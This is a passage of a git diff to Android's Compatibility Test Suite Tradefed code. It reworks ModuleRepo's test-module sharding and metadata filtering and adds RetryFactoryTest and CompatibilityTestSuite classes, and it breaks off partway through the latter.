-    private static final long MEDIUM_TEST = TimeUnit.MINUTES.toMillis(10); // Medium tests < 10mins
+    // Synchronization objects for Token Modules.
+    private int mInitCount = 0;
+    private Set<IModuleDef> mTokenModuleScheduled;
+    private static Object lock = new Object();
 
-    private int mShards;
-    private int mModulesPerShard;
-    private int mSmallModulesPerShard;
-    private int mMediumModulesPerShard;
-    private int mLargeModulesPerShard;
-    private int mModuleCount = 0;
-    private Set<String> mSerials = new HashSet<>();
+    private int mTotalShards;
+    private Integer mShardIndex;
+
     private Map<String, Set<String>> mDeviceTokens = new HashMap<>();
-    private Map<String, Map<String, String>> mTestArgs = new HashMap<>();
-    private Map<String, Map<String, String>> mModuleArgs = new HashMap<>();
+    private Map<String, Map<String, List<String>>> mTestArgs = new HashMap<>();
+    private Map<String, Map<String, List<String>>> mModuleArgs = new HashMap<>();
     private boolean mIncludeAll;
     private Map<String, List<TestFilter>> mIncludeFilters = new HashMap<>();
     private Map<String, List<TestFilter>> mExcludeFilters = new HashMap<>();
     private IConfigurationFactory mConfigFactory = ConfigurationFactory.getInstance();
 
     private volatile boolean mInitialized = false;
-    // Whether the modules in this repo are ready to run on their assigned devices.
-    // True until explicitly set false in setPrepared().
-    private volatile boolean mPrepared = true;
-    private CountDownLatch mPreparedLatch;
 
-    // Holds all the small tests waiting to be run.
-    private List<IModuleDef> mSmallModules = new ArrayList<>();
-    // Holds all the medium tests waiting to be run.
-    private List<IModuleDef> mMediumModules = new ArrayList<>();
-    // Holds all the large tests waiting to be run.
-    private List<IModuleDef> mLargeModules = new ArrayList<>();
     // Holds all the tests with tokens waiting to be run. Meaning the DUT must have a specific token.
     private List<IModuleDef> mTokenModules = new ArrayList<>();
+    private List<IModuleDef> mNonTokenModules = new ArrayList<>();
 
     /**
      * {@inheritDoc}
      */
     @Override
     public int getNumberOfShards() {
-        return mShards;
+        return mTotalShards;
     }
 
     /**
-     * {@inheritDoc}
+     * Returns the device tokens of this module repo. Exposed for testing.
      */
-    @Override
-    public int getModulesPerShard() {
-        return mModulesPerShard;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public Map<String, Set<String>> getDeviceTokens() {
+    protected Map<String, Set<String>> getDeviceTokens() {
         return mDeviceTokens;
     }
 
@@ -143,32 +127,8 @@
      * {@inheritDoc}
      */
     @Override
-    public Set<String> getSerials() {
-        return mSerials;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public List<IModuleDef> getSmallModules() {
-        return mSmallModules;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public List<IModuleDef> getMediumModules() {
-        return mMediumModules;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public List<IModuleDef> getLargeModules() {
-        return mLargeModules;
+    public List<IModuleDef> getNonTokenModules() {
+        return mNonTokenModules;
     }
 
     /**
@@ -185,13 +145,7 @@
     @Override
     public String[] getModuleIds() {
         Set<String> moduleIdSet = new HashSet<>();
-        for (IModuleDef moduleDef : mSmallModules) {
-            moduleIdSet.add(moduleDef.getId());
-        }
-        for (IModuleDef moduleDef : mMediumModules) {
-            moduleIdSet.add(moduleDef.getId());
-        }
-        for (IModuleDef moduleDef : mLargeModules) {
+        for (IModuleDef moduleDef : mNonTokenModules) {
             moduleIdSet.add(moduleDef.getId());
         }
         for (IModuleDef moduleDef : mTokenModules) {
@@ -204,28 +158,6 @@
      * {@inheritDoc}
      */
     @Override
-    public boolean isPrepared(long timeout, TimeUnit unit) {
-        // returns true only if CountDownLatch reaches zero && no shards have setPrepared to false
-        try {
-            return (mPreparedLatch.await(timeout, unit)) ? mPrepared : false;
-        } catch (InterruptedException e) {
-            return false;
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setPrepared(boolean isPrepared) {
-        mPrepared &= isPrepared;
-        mPreparedLatch.countDown();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
     public boolean isInitialized() {
         return mInitialized;
     }
@@ -234,16 +166,25 @@
      * {@inheritDoc}
      */
     @Override
-    public void initialize(int shards, File testsDir, Set<IAbi> abis, List<String> deviceTokens,
-            List<String> testArgs, List<String> moduleArgs, Set<String> includeFilters,
-            Set<String> excludeFilters, IBuildInfo buildInfo) {
+    public void initialize(int totalShards, Integer shardIndex, File testsDir, Set<IAbi> abis,
+            List<String> deviceTokens, List<String> testArgs, List<String> moduleArgs,
+            Set<String> includeFilters, Set<String> excludeFilters,
+            MultiMap<String, String> metadataIncludeFilters,
+            MultiMap<String, String> metadataExcludeFilters,
+            IBuildInfo buildInfo) {
         CLog.d("Initializing ModuleRepo\nShards:%d\nTests Dir:%s\nABIs:%s\nDevice Tokens:%s\n" +
                 "Test Args:%s\nModule Args:%s\nIncludes:%s\nExcludes:%s",
-                shards, testsDir.getAbsolutePath(), abis, deviceTokens, testArgs, moduleArgs,
+                totalShards, testsDir.getAbsolutePath(), abis, deviceTokens, testArgs, moduleArgs,
                 includeFilters, excludeFilters);
         mInitialized = true;
-        mShards = shards;
-        mPreparedLatch = new CountDownLatch(shards);
+        mTotalShards = totalShards;
+        mShardIndex = shardIndex;
+        synchronized (lock) {
+            if (mTokenModuleScheduled == null) {
+                mTokenModuleScheduled = new HashSet<>();
+            }
+        }
+
         for (String line : deviceTokens) {
             String[] parts = line.split(":");
             if (parts.length == 2) {
@@ -289,41 +230,45 @@
                         // skip this name/abi combination.
                         continue;
                     }
-                    {
-                        Map<String, String> args = new HashMap<>();
-                        if (mModuleArgs.containsKey(name)) {
-                            args.putAll(mModuleArgs.get(name));
-                        }
-                        if (mModuleArgs.containsKey(id)) {
-                            args.putAll(mModuleArgs.get(id));
-                        }
-                        if (args != null && args.size() > 0) {
-                            for (Entry<String, String> entry : args.entrySet()) {
-                                String entryName = entry.getKey();
-                                String entryValue = entry.getValue();
-                                if (entryValue.contains(":")) {
-                                    // entryValue is key-value pair
-                                    String key = entryValue.split(":")[0];
-                                    String value = entryValue.split(":")[1];
-                                    config.injectOptionValue(entryName, key, value);
-                                } else {
-                                    // entryValue is just the argument value
-                                    config.injectOptionValue(entryName, entryValue);
-                                }
+                    if (!filterByConfigMetadata(config,
+                            metadataIncludeFilters, metadataExcludeFilters)) {
+                        // if the module config did not pass the metadata filters, it's excluded
+                        // from execution
+                        continue;
+                    }
+                    Map<String, List<String>> args = new HashMap<>();
+                    if (mModuleArgs.containsKey(name)) {
+                        args.putAll(mModuleArgs.get(name));
+                    }
+                    if (mModuleArgs.containsKey(id)) {
+                        args.putAll(mModuleArgs.get(id));
+                    }
+                    for (Entry<String, List<String>> entry : args.entrySet()) {
+                        for (String entryValue : entry.getValue()) {
+                            // Collection-type options can be injected with multiple values
+                            String entryName = entry.getKey();
+                            if (entryValue.contains(":")) {
+                                // entryValue is key-value pair
+                                String key = entryValue.split(":")[0];
+                                String value = entryValue.split(":")[1];
+                                config.injectOptionValue(entryName, key, value);
+                            } else {
+                                // entryValue is just the argument value
+                                config.injectOptionValue(entryName, entryValue);
                             }
                         }
                     }
+
                     List<IRemoteTest> tests = config.getTests();
                     for (IRemoteTest test : tests) {
                         String className = test.getClass().getName();
-                        Map<String, String> args = new HashMap<>();
+                        Map<String, List<String>> testArgsMap = new HashMap<>();
                         if (mTestArgs.containsKey(className)) {
-                            args.putAll(mTestArgs.get(className));
+                            testArgsMap.putAll(mTestArgs.get(className));
                         }
-                        if (args != null && args.size() > 0) {
-                            for (Entry<String, String> entry : args.entrySet()) {
+                        for (Entry<String, List<String>> entry : testArgsMap.entrySet()) {
+                            for (String entryValue : entry.getValue()) {
                                 String entryName = entry.getKey();
-                                String entryValue = entry.getValue();
                                 if (entryValue.contains(":")) {
                                     // entryValue is key-value pair
                                     String key = entryValue.split(":")[0];
@@ -338,16 +283,13 @@
                         addFiltersToTest(test, abi, name);
                     }
                     List<IRemoteTest> shardedTests = tests;
-                    if (mShards > 1) {
+                    if (mTotalShards > 1) {
                          shardedTests = splitShardableTests(tests, buildInfo);
                     }
                     if (shardedTests.size() > 1) {
                         shardedTestCounts.put(id, shardedTests.size());
                     }
                     for (IRemoteTest test : shardedTests) {
-                        if (test instanceof IBuildReceiver) {
-                            ((IBuildReceiver)test).setBuild(buildInfo);
-                        }
                         addModuleDef(name, abi, test, pathArg);
                     }
                 }
@@ -356,25 +298,20 @@
                         configFile.getName()), e);
             }
         }
+        mExcludeFilters.clear();
         TestRunHandler.setTestRuns(new CompatibilityBuildHelper(buildInfo), shardedTestCounts);
-        mModulesPerShard = mModuleCount / shards;
-        if (mModuleCount % shards != 0) {
-            mModulesPerShard++; // Round up
-        }
-        mSmallModulesPerShard = mSmallModules.size() / shards;
-        mMediumModulesPerShard = mMediumModules.size() / shards;
-        mLargeModulesPerShard = mLargeModules.size() / shards;
     }
 
-    private static List<IRemoteTest> splitShardableTests(List<IRemoteTest> tests,
-            IBuildInfo buildInfo) {
+    private List<IRemoteTest> splitShardableTests(List<IRemoteTest> tests, IBuildInfo buildInfo) {
         ArrayList<IRemoteTest> shardedList = new ArrayList<>(tests.size());
         for (IRemoteTest test : tests) {
-            if (test instanceof IShardableTest) {
-                if (test instanceof IBuildReceiver) {
-                    ((IBuildReceiver)test).setBuild(buildInfo);
+            if (test instanceof IBuildReceiver) {
+                ((IBuildReceiver)test).setBuild(buildInfo);
+            }
+            if (mShardIndex != null && test instanceof IStrictShardableTest) {
+                for (int i = 0; i < mTotalShards; i++) {
+                    shardedList.add(((IStrictShardableTest)test).getTestShard(mTotalShards, i));
                 }
-                shardedList.addAll(((IShardableTest)test).split());
             } else {
                 shardedList.add(test);
             }
@@ -382,7 +319,7 @@
         return shardedList;
     }
 
-    private static void addFilters(Set<String> stringFilters,
+    private void addFilters(Set<String> stringFilters,
             Map<String, List<TestFilter>> filters, Set<IAbi> abis) {
         for (String filterString : stringFilters) {
             TestFilter filter = TestFilter.createFrom(filterString);
@@ -397,12 +334,12 @@
         }
     }
 
-    private static void addFilter(String abi, TestFilter filter,
+    private void addFilter(String abi, TestFilter filter,
             Map<String, List<TestFilter>> filters) {
         getFilter(filters, AbiUtils.createId(abi, filter.getName())).add(filter);
     }
 
-    private static List<TestFilter> getFilter(Map<String, List<TestFilter>> filters, String id) {
+    private List<TestFilter> getFilter(Map<String, List<TestFilter>> filters, String id) {
         List<TestFilter> fs = filters.get(id);
         if (fs == null) {
             fs = new ArrayList<>();
@@ -415,21 +352,17 @@
             String[] configPaths) throws ConfigurationException {
         // Invokes parser to process the test module config file
         IConfiguration config = mConfigFactory.createConfigurationFromArgs(configPaths);
-        addModuleDef(new ModuleDef(name, abi, test, config.getTargetPreparers()));
+        addModuleDef(new ModuleDef(name, abi, test, config.getTargetPreparers(),
+                config.getConfigurationDescription()));
     }
 
     private void addModuleDef(IModuleDef moduleDef) {
         Set<String> tokens = moduleDef.getTokens();
         if (tokens != null && !tokens.isEmpty()) {
             mTokenModules.add(moduleDef);
-        } else if (moduleDef.getRuntimeHint() < SMALL_TEST) {
-            mSmallModules.add(moduleDef);
-        } else if (moduleDef.getRuntimeHint() < MEDIUM_TEST) {
-            mMediumModules.add(moduleDef);
         } else {
-            mLargeModules.add(moduleDef);
+            mNonTokenModules.add(moduleDef);
         }
-        mModuleCount++;
     }
 
     private void addFiltersToTest(IRemoteTest test, IAbi abi, String name) {
@@ -448,6 +381,47 @@
         }
     }
 
+    @VisibleForTesting
+    protected boolean filterByConfigMetadata(IConfiguration config,
+            MultiMap<String, String> include, MultiMap<String, String> exclude) {
+        MultiMap<String, String> metadata = config.getConfigurationDescription().getAllMetaData();
+        boolean shouldInclude = false;
+        for (String key : include.keySet()) {
+            Set<String> filters = new HashSet<>(include.get(key));
+            if (metadata.containsKey(key)) {
+                filters.retainAll(metadata.get(key));
+                if (!filters.isEmpty()) {
+                    // inclusion filter is not empty and there's at least one matching inclusion
+                    // rule so there's no need to match other inclusion rules
+                    shouldInclude = true;
+                    break;
+                }
+            }
+        }
+        if (!include.isEmpty() && !shouldInclude) {
+            // if inclusion filter is not empty and we didn't find a match, the module will not be
+            // included
+            return false;
+        }
+        // Now evaluate exclusion rules, this ordering also means that exclusion rules may override
+        // inclusion rules: a config already matched for inclusion may still be excluded if matching
+        // rules exist
+        for (String key : exclude.keySet()) {
+            Set<String> filters = new HashSet<>(exclude.get(key));
+            if (metadata.containsKey(key)) {
+                filters.retainAll(metadata.get(key));
+                if (!filters.isEmpty()) {
+                    // we found at least one matching exclusion rules, so we are excluding this
+                    // this module
+                    return false;
+                }
+            }
+        }
+        // we've matched at least one inclusion rule (if there's any) AND we didn't match any of the
+        // exclusion rules (if there's any)
+        return true;
+    }
+
     private boolean shouldRunModule(String moduleId) {
         List<TestFilter> mdIncludes = getFilter(mIncludeFilters, moduleId);
         List<TestFilter> mdExcludes = getFilter(mExcludeFilters, moduleId);
@@ -540,88 +514,69 @@
      * {@inheritDoc}
      */
     @Override
-    public synchronized List<IModuleDef> getModules(String serial) {
-        List<IModuleDef> modules = new ArrayList<>(mModulesPerShard);
-        Set<String> tokens = mDeviceTokens.get(serial);
-        getModulesWithTokens(tokens, modules);
-        getModules(modules);
-        mSerials.add(serial);
-        if (mSerials.size() == mShards) {
-            for (IModuleDef def : mTokenModules) {
-                CLog.logAndDisplay(LogLevel.WARN,
-                        String.format("No devices found with %s, running %s on %s",
-                                def.getTokens(), def.getId(), serial));
-                modules.add(def);
-            }
-            // Add left over modules
-            modules.addAll(mLargeModules);
-            modules.addAll(mMediumModules);
-            modules.addAll(mSmallModules);
+    public LinkedList<IModuleDef> getModules(String serial, int shardIndex) {
+        Collections.sort(mNonTokenModules, new ExecutionOrderComparator());
+        List<IModuleDef> modules = getShard(mNonTokenModules, shardIndex, mTotalShards);
+        if (modules == null) {
+            modules = new LinkedList<IModuleDef>();
         }
         long estimatedTime = 0;
         for (IModuleDef def : modules) {
             estimatedTime += def.getRuntimeHint();
         }
-        Collections.sort(modules, new ExecutionOrderComparator());
-        CLog.logAndDisplay(LogLevel.INFO, String.format(
-                "%s running %s modules, expected to complete in %s",
-                serial, modules.size(), TimeUtil.formatElapsedTime(estimatedTime)));
-        return modules;
-    }
 
-    /**
-     * Iterates through the remaining tests that require tokens and if the device has all the
-     * required tokens it will queue that module to run on that device, else the module gets put
-     * back into the list.
-     */
-    private void getModulesWithTokens(Set<String> tokens, List<IModuleDef> modules) {
-        if (tokens != null) {
-            List<IModuleDef> copy = mTokenModules;
-            mTokenModules = new ArrayList<>();
-            for (IModuleDef module : copy) {
-                // If a device has all the tokens required by the module then it can run it.
-                if (tokens.containsAll(module.getTokens())) {
-                    modules.add(module);
-                } else {
-                    mTokenModules.add(module);
+        // FIXME: Token Modules are the only last part that is not deterministic.
+        synchronized (lock) {
+            // Get tokens from the device
+            Set<String> tokens = mDeviceTokens.get(serial);
+            if (tokens != null && !tokens.isEmpty()) {
+                // if it matches any of the token modules, add them
+                for (IModuleDef def : mTokenModules) {
+                    if (!mTokenModuleScheduled.contains(def)) {
+                        if (tokens.equals(def.getTokens())) {
+                            modules.add(def);
+                            CLog.d("Adding %s to scheduled token", def);
+                            mTokenModuleScheduled.add(def);
+                        }
+                    }
                 }
             }
+            // the last shard going through may add everything remaining.
+            if (mInitCount == (mTotalShards - 1) &&
+                    mTokenModuleScheduled.size() != mTokenModules.size()) {
+                mTokenModules.removeAll(mTokenModuleScheduled);
+                if (mTotalShards != 1) {
+                    // Only print the warnings if we are sharding.
+                    CLog.e("Could not find any token for %s. Adding to last shard.", mTokenModules);
+                }
+                modules.addAll(mTokenModules);
+            }
+            mInitCount++;
         }
+        Collections.sort(modules, new ExecutionOrderComparator());
+        int uniqueCount = UniqueModuleCountUtil.countUniqueModules(modules);
+        CLog.logAndDisplay(LogLevel.INFO, "%s running %s test sub-modules, expected to complete "
+                + "in %s.", serial, uniqueCount, TimeUtil.formatElapsedTime(estimatedTime));
+        CLog.d("module list for this shard: %s", modules);
+        LinkedList<IModuleDef> tests = new LinkedList<>();
+        tests.addAll(modules);
+        return tests;
     }
 
     /**
-     * Adds count modules that do not require tokens, to run on a device.
+     * Helper to linearly split the list into shards with balanced runtimeHint.
+     * Exposed for testing.
      */
-    private void getModules(List<IModuleDef> modules) {
-        // Take the normal share of modules unless the device already has token modules.
-        takeModule(mSmallModules, modules, mSmallModulesPerShard - modules.size());
-        takeModule(mMediumModules, modules, mMediumModulesPerShard);
-        takeModule(mLargeModules, modules, mLargeModulesPerShard);
-        // If one bucket runs out, take from any of the others.
-        boolean success = true;
-        while (success && modules.size() < mModulesPerShard) {
-            // Take modules from the buckets until it has enough, or there are no more modules.
-            success = takeModule(mSmallModules, modules, 1)
-                    || takeModule(mMediumModules, modules, 1)
-                    || takeModule(mLargeModules, modules, 1);
+    protected List<IModuleDef> getShard(List<IModuleDef> fullList, int shardIndex, int totalShard) {
+        List<List<IModuleDef>> res = LinearPartition.split(fullList, totalShard);
+        if (res.isEmpty()) {
+            return null;
         }
-    }
-
-    /**
-     * Takes count modules from the first list and move it to the second.
-     */
-    private static boolean takeModule(
-            List<IModuleDef> source, List<IModuleDef> destination, int count) {
-        if (source.isEmpty()) {
-            return false;
+        if (shardIndex >= res.size()) {
+            // If we could not shard up to expectation
+            return null;
         }
-        if (count > source.size()) {
-            count = source.size();
-        }
-        for (int i = 0; i < count; i++) {
-            destination.add(source.remove(source.size() - 1));// Take from the end of the arraylist.
-        }
-        return true;
+        return res.get(shardIndex);
     }
 
     /**
@@ -646,7 +601,8 @@
         return modules;
     }
 
-    private static void putArgs(List<String> args, Map<String, Map<String, String>> argsMap) {
+    private static void putArgs(List<String> args,
+            Map<String, Map<String, List<String>>> argsMap) {
         for (String arg : args) {
             String[] parts = arg.split(":");
             String target = parts[0];
@@ -658,17 +614,24 @@
             } else {
                 value = parts[2];
             }
-            Map<String, String> map = argsMap.get(target);
+            Map<String, List<String>> map = argsMap.get(target);
             if (map == null) {
                 map = new HashMap<>();
                 argsMap.put(target, map);
             }
-            map.put(name, value);
+            List<String> valueList = map.get(name);
+            if (valueList == null) {
+                valueList = new ArrayList<>();
+                map.put(name, valueList);
+            }
+            valueList.add(value);
         }
     }
 
+    /**
+     * Sort by name and use runtimeHint for separation, shortest test first.
+     */
     private static class ExecutionOrderComparator implements Comparator<IModuleDef> {
-
         @Override
         public int compare(IModuleDef def1, IModuleDef def2) {
             int value1 = 0;
@@ -680,9 +643,26 @@
                 value2 = ENDING_MODULES.get(def2.getName());
             }
             if (value1 == 0 && value2 == 0) {
-                return (int) Math.signum(def2.getRuntimeHint() - def1.getRuntimeHint());
+                int time = (int) Math.signum(def1.getRuntimeHint() - def2.getRuntimeHint());
+                if (time == 0) {
+                    return def1.getName().compareTo(def2.getName());
+                }
+                return time;
             }
             return (int) Math.signum(value1 - value2);
         }
     }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void tearDown() {
+        mNonTokenModules.clear();
+        mTokenModules.clear();
+        mIncludeFilters.clear();
+        mExcludeFilters.clear();
+        mTestArgs.clear();
+        mModuleArgs.clear();
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/SubPlan.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/SubPlan.java
index 54d2869..c2c7155 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/SubPlan.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/SubPlan.java
@@ -24,7 +24,6 @@
 import org.xml.sax.helpers.DefaultHandler;
 
 import java.io.IOException;
-import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.ArrayList;
 import java.util.Collections;
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
new file mode 100644
index 0000000..0276b3c
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/retry/RetryFactoryTest.java
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype.retry;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
+import com.android.compatibility.common.tradefed.util.RetryType;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.ConfigurationException;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.config.Option.Importance;
+import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.IInvocationContext;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.suite.checker.ISystemStatusChecker;
+import com.android.tradefed.suite.checker.ISystemStatusCheckerReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
+import com.android.tradefed.testtype.IRemoteTest;
+
+import com.google.common.annotations.VisibleForTesting;
+
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Runner that creates a {@link CompatibilityTest} to re-run some previous results.
+ * Only the 'cts' plan is supported.
+ * TODO: explore other new way to build the retry (instead of relying on one massive pair of
+ * include/exclude filters)
+ */
+@OptionClass(alias = "compatibility")
+public class RetryFactoryTest implements IRemoteTest, IDeviceTest, IBuildReceiver,
+        ISystemStatusCheckerReceiver, IInvocationContextReceiver {
+
+    /**
+     * Mirror the {@link CompatibilityTest} options in order to create it.
+     */
+    public static final String RETRY_OPTION = "retry";
+    @Option(name = RETRY_OPTION,
+            shortName = 'r',
+            description = "retry a previous session's failed and not executed tests.",
+            mandatory = true)
+    private Integer mRetrySessionId = null;
+
+    @Option(name = CompatibilityTest.SUBPLAN_OPTION,
+            description = "the subplan to run",
+            importance = Importance.IF_UNSET)
+    protected String mSubPlan;
+
+    @Option(name = CompatibilityTest.INCLUDE_FILTER_OPTION,
+            description = "the include module filters to apply.",
+            importance = Importance.ALWAYS)
+    protected Set<String> mIncludeFilters = new HashSet<>();
+
+    @Option(name = CompatibilityTest.EXCLUDE_FILTER_OPTION,
+            description = "the exclude module filters to apply.",
+            importance = Importance.ALWAYS)
+    protected Set<String> mExcludeFilters = new HashSet<>();
+
+    @Option(name = CompatibilityTest.ABI_OPTION,
+            shortName = 'a',
+            description = "the abi to test.",
+            importance = Importance.IF_UNSET)
+    protected String mAbiName = null;
+
+    @Option(name = CompatibilityTest.MODULE_OPTION,
+            shortName = 'm',
+            description = "the test module to run.",
+            importance = Importance.IF_UNSET)
+    protected String mModuleName = null;
+
+    @Option(name = CompatibilityTest.TEST_OPTION,
+            shortName = CompatibilityTest.TEST_OPTION_SHORT_NAME,
+            description = "the test run.",
+            importance = Importance.IF_UNSET)
+    protected String mTestName = null;
+
+    @Option(name = CompatibilityTest.RETRY_TYPE_OPTION,
+            description = "used with " + CompatibilityTest.RETRY_OPTION + ", retry tests"
+            + " of a certain status. Possible values include \"failed\" and \"not_executed\".",
+            importance = Importance.IF_UNSET)
+    protected RetryType mRetryType = null;
+
+    private List<ISystemStatusChecker> mStatusCheckers;
+    private IBuildInfo mBuildInfo;
+    private ITestDevice mDevice;
+    private IInvocationContext mContext;
+
+    @Override
+    public void setSystemStatusChecker(List<ISystemStatusChecker> systemCheckers) {
+        mStatusCheckers = systemCheckers;
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildInfo = buildInfo;
+    }
+
+    @Override
+    public void setDevice(ITestDevice device) {
+        mDevice = device;
+    }
+
+    @Override
+    public ITestDevice getDevice() {
+        return mDevice;
+    }
+
+    @Override
+    public void setInvocationContext(IInvocationContext invocationContext) {
+        mContext = invocationContext;
+    }
+
+    /**
+     * Build a CompatibilityTest with appropriate filters to run only the tests of interests.
+     */
+    @Override
+    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
+        // Create a compatibility test and set it to run only what we want.
+        CompatibilityTest test = createTest();
+
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
+        // Create the helper with all the options needed.
+        RetryFilterHelper helper = createFilterHelper(buildHelper);
+        helper.validateBuildFingerprint(mDevice);
+        helper.setCommandLineOptionsFor(test);
+        helper.setCommandLineOptionsFor(this);
+        helper.populateRetryFilters();
+
+        try {
+            OptionSetter setter = new OptionSetter(test);
+            setter.setOptionValue("compatibility:test-arg",
+                    "com.android.tradefed.testtype.AndroidJUnitTest:rerun-from-file:true");
+            setter.setOptionValue("compatibility:test-arg",
+                    "com.android.tradefed.testtype.AndroidJUnitTest:fallback-to-serial-rerun:"
+                    + "false");
+        } catch (ConfigurationException e) {
+            throw new RuntimeException(e);
+        }
+
+        test.setIncludeFilter(helper.getIncludeFilters());
+        test.setExcludeFilter(helper.getExcludeFilters());
+        test.setDevice(mDevice);
+        test.setBuild(mBuildInfo);
+        test.setSystemStatusChecker(mStatusCheckers);
+        test.setInvocationContext(mContext);
+        // clean the helper
+        helper.tearDown();
+        // run the retry run.
+        test.run(listener);
+    }
+
+    @VisibleForTesting
+    RetryFilterHelper createFilterHelper(CompatibilityBuildHelper buildHelper) {
+        return new RetryFilterHelper(buildHelper, mRetrySessionId, mSubPlan, mIncludeFilters,
+                mExcludeFilters, mAbiName, mModuleName, mTestName, mRetryType);
+    }
+
+    @VisibleForTesting
+    CompatibilityTest createTest() {
+        return new CompatibilityTest();
+    }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
new file mode 100644
index 0000000..f5e1f77
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
@@ -0,0 +1,267 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype.suite;
+
+import com.android.compatibility.SuiteInfo;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.testtype.ISubPlan;
+import com.android.compatibility.common.tradefed.testtype.ModuleRepo;
+import com.android.compatibility.common.tradefed.testtype.SubPlan;
+import com.android.compatibility.common.util.TestFilter;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.config.Option.Importance;
+import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.Abi;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.suite.ITestSuite;
+import com.android.tradefed.util.AbiFormatter;
+import com.android.tradefed.util.AbiUtils;
+import com.android.tradefed.util.ArrayUtil;
+import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * A Test for running Compatibility Test Suite with new suite system.
+ */
+@OptionClass(alias = "compatibility")
+public class CompatibilityTestSuite extends ITestSuite {
+
+    private static final String INCLUDE_FILTER_OPTION = "include-filter";
+    private static final String EXCLUDE_FILTER_OPTION = "exclude-filter";
+    private static final String SUBPLAN_OPTION = "subplan";
+    private static final String MODULE_OPTION = "module";
+    private static final String TEST_OPTION = "test";
+    private static final String MODULE_ARG_OPTION = "module-arg";
+    private static final String TEST_ARG_OPTION = "test-arg";
+    private static final String ABI_OPTION = "abi";
+    private static final String SKIP_HOST_ARCH_CHECK = "skip-host-arch-check";
+    private static final String PRIMARY_ABI_RUN = "primary-abi-only";
+    private static final String PRODUCT_CPU_ABI_KEY = "ro.product.cpu.abi";
+
+    @Option(name = SUBPLAN_OPTION,
+            description = "the subplan to run",
+            importance = Importance.IF_UNSET)
+    private String mSubPlan;
+
+    @Option(name = INCLUDE_FILTER_OPTION,
+            description = "the include module filters to apply.",
+            importance = Importance.ALWAYS)
+    private Set<String> mIncludeFilters = new HashSet<>();
+
+    @Option(name = EXCLUDE_FILTER_OPTION,
+            description = "the exclude module filters to apply.",
+            importance = Importance.ALWAYS)
+    private Set<String> mExcludeFilters = new HashSet<>();
+
+    @Option(name = MODULE_OPTION,
+            shortName = 'm',
+            description = "the test module to run.",
+            importance = Importance.IF_UNSET)
+    private String mModuleName = null;
+
+    @Option(name = TEST_OPTION,
